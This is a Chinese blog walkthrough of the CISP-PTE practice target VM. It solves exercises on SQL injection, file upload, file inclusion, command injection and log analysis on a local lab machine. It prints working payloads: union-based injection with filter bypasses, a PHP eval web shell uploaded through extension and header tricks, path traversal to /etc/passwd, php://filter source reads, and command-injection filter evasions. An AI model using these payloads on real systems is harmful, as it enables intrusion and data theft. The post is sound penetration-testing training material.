0
点赞
收藏
分享

微信扫一扫

CISP-PTE靶机测试记录

环境搭建

pte靶机下载(阿里云盘): https://www.aliyundrive.com/s/L2WFbxSenWK 下载后打开centos文件夹下的.vmx文件即可运行虚拟机 image-20220930004756600.png

登录靶机root/admin123 先把网络调通,让虚拟机与物理机为同一网段 查看ip地址,这里用ifconfig查看的话回显太长看不到,可以用ip addr来查看 image-20220930005030811.png

虚拟机我配置的是NAT模式,网段为.74 修改ip地址为.74网段地址,上图为修改后的,主要修改ip地址,掩码,网关

ip addr
vi /etc/sysconfig/network-scripts/ifcfg-eth0

image-20220930005618302.png

SQL注入

reboot重启后,通过访问不同的端口来切换题目,端口范围81-85 访问虚拟机的81端口,进入答题即可

http://192.168.74.135:81

image-20220930005901247.png

id=1时页面有回显的内容,id=2时页面无回显,判断存在注入点

http://192.168.74.135:81/vulnerabilities/fu1.php?id=1
http://192.168.74.135:81/vulnerabilities/fu1.php?id=2

image-20220930011140900.png image-20220930011201645.png

SQLMap

可以直接用sqlmap跑,这里空格被过滤了,提示需要加--tamper=space2comment参数(使用/**/替换空格符) 首页已经告诉我们key文件路径/tmp/360/key,构造语句如下

python sqlmap.py -u "http://192.168.74.135:81/vulnerabilities/fu1.php?id=1" --risk=3 --tamper=space2comment --file-read /tmp/360/key

image-20220930020310341.png

根据图中提示,打开文件保存的路径,查看文件,获取到key

key:8b3h4a7v

image-20220930020436121.png

手工注入

先order by猜解列数,靶机这里对空格单引号和井号做了过滤 空格使用注释符/**/代替,单引号使用%27代替,井号使用%23代替 有的编码工具可能无法对单引号等特殊字符进行url编码 可以尝试这个网站 https://evilcos.me/lab/xssor/ 空白处输入内容后,点击右侧escape即可 image-20221003212751747.png

输入order by等于5时页面显示为空白,小于5时页面显示正常,判断列数为4

?id=1%27)/**/order/**/by/**/4%23

image-20220930022027541.png image-20220930022044586.png

然后配合上union语句查询数据,发现union被过滤了,可以通过双写来绕过 order by等于4,可以将想要查询的函数替换掉数字

?id=-1%27)/**/ununionion/**/select/**/1,2,3,4

通过load_file函数来读取文件,文件路径首页已经告诉我们了 这里id改为-1是为了让服务端返回union select的查询结果,因为数据库没有-1列,所以会返回select的结果

?id=-1%27)/**/ununionion/**/select/**/1,2,3,load_file(%27/tmp/360/key%27)%23

image-20220930025508879.png

文件上传

访问靶机82端口 image-20221005191238714.png

进入答题,先写个一句话,命名为1.php

<?php @eval($_POST['cmd']);?>

然后浏览选择1.php文件,burp开启抓包,点击上传 发现抓到的包不太对,不应该是get请求,这里需要在抓包处点击forward(有几率出现) image-20221005195149253.png

获得到post请求,这样包才是我们需要的 image-20221005195349683.png

ctrl+r发送到repeater,返回的内容里没啥东西,应该过滤掉了 image-20221005195535439.png

经过测试,发现php好像被过滤了,之前大写绕过(phP)也显示上传成功,但是蚁剑连不上,后缀名可换成php3 同时需要结合修改content-type头(image/gif)和文件内容头校验(GIF89a)即可绕过 image-20221005203316289.png

然后蚁剑连接 image-20221005203419016.png

在html目录下找到key文件 image-20221005203602228.png

文件包含

访问靶机83端口 image-20221005204535997.png

进入答题,试下最基础的payload,可以访问密码文件

/vulnerabilities/fu1.php?file=../../../../etc/passwd

image-20221005205048150.png

题目已经告诉我们key.php在根目录下了,直接尝试读取,发现不显示内容

/vulnerabilities/fu1.php?file=../key.php

image-20221005210302436.png

通过php伪协议读取文件

php://filter/read=convert.base64-encode/resource=../key.php

image-20221005210924014.png

将返回的内容进行base64解码,获取到key image-20221005211049401.png

命令执行

访问靶机84端口 image-20221005211719214.png

进入答题,可以输入内容进行测试 image-20221005212315087.png

构造语句,发现cat被过滤了,提示有敏感字符 可以尝试对cat进行变形,或者通过其他命令来查看

127.0.0.1 | cat

image-20221005212525634.png

测试后发现以下命令都可绕过(包括但不仅限于此)

127.0.0.1 | ca\t ../key.php
127.0.0.1 | ca${Z}t ../key.php
127.0.0.1 | head ../key.php
127.0.0.1 | tail ../key.php
127.0.0.1 | less ../key.php

image-20221005213210081.png

但是页面显示不完整,通过检查或者查看源代码来查看完整的内容 image-20221005213402305.png

日志分析

访问靶机85端口 image-20221005214050777.png

进入答题,即可查看日志文件,也可以右键保存到本地查看 image-20221005214134114.png

题目说可疑ip为172.16.12.12,搜索下日志中该ip的内容 发现内容挺多的,像是大量的扫描,需要筛选ip为172.16.12.12且响应状态码为200的数据 image-20221005214332328.png

推荐一块比较好用的linux日志分析工具klogg 官网:https://klogg.filimonov.dev/ github:https://github.com/variar/klogg 先筛选出ip为172.16.12.12的内容,再从筛选后的结果里搜索200的内容,操作很方便 发现访问了adminlogin.php页面,可能是后台路径 image-20221005222502554.png

访问后台路径,需要账号登录,用burp爆破下账号密码 image-20221005223334200.png

由于账号密码都不知道,爆破类型选cluster bomb image-20221005224017263.png

两个值未知爆破起来时间太长了,看了下别人写的,账号密码是admin/password123,直接自己写个简单的字典去跑 image-20221005224730972.png

跑出来账号密码为admin/password123 image-20221005224706123.png

登录成功后拿到key image-20221005224846413.png

举报

相关推荐

0 条评论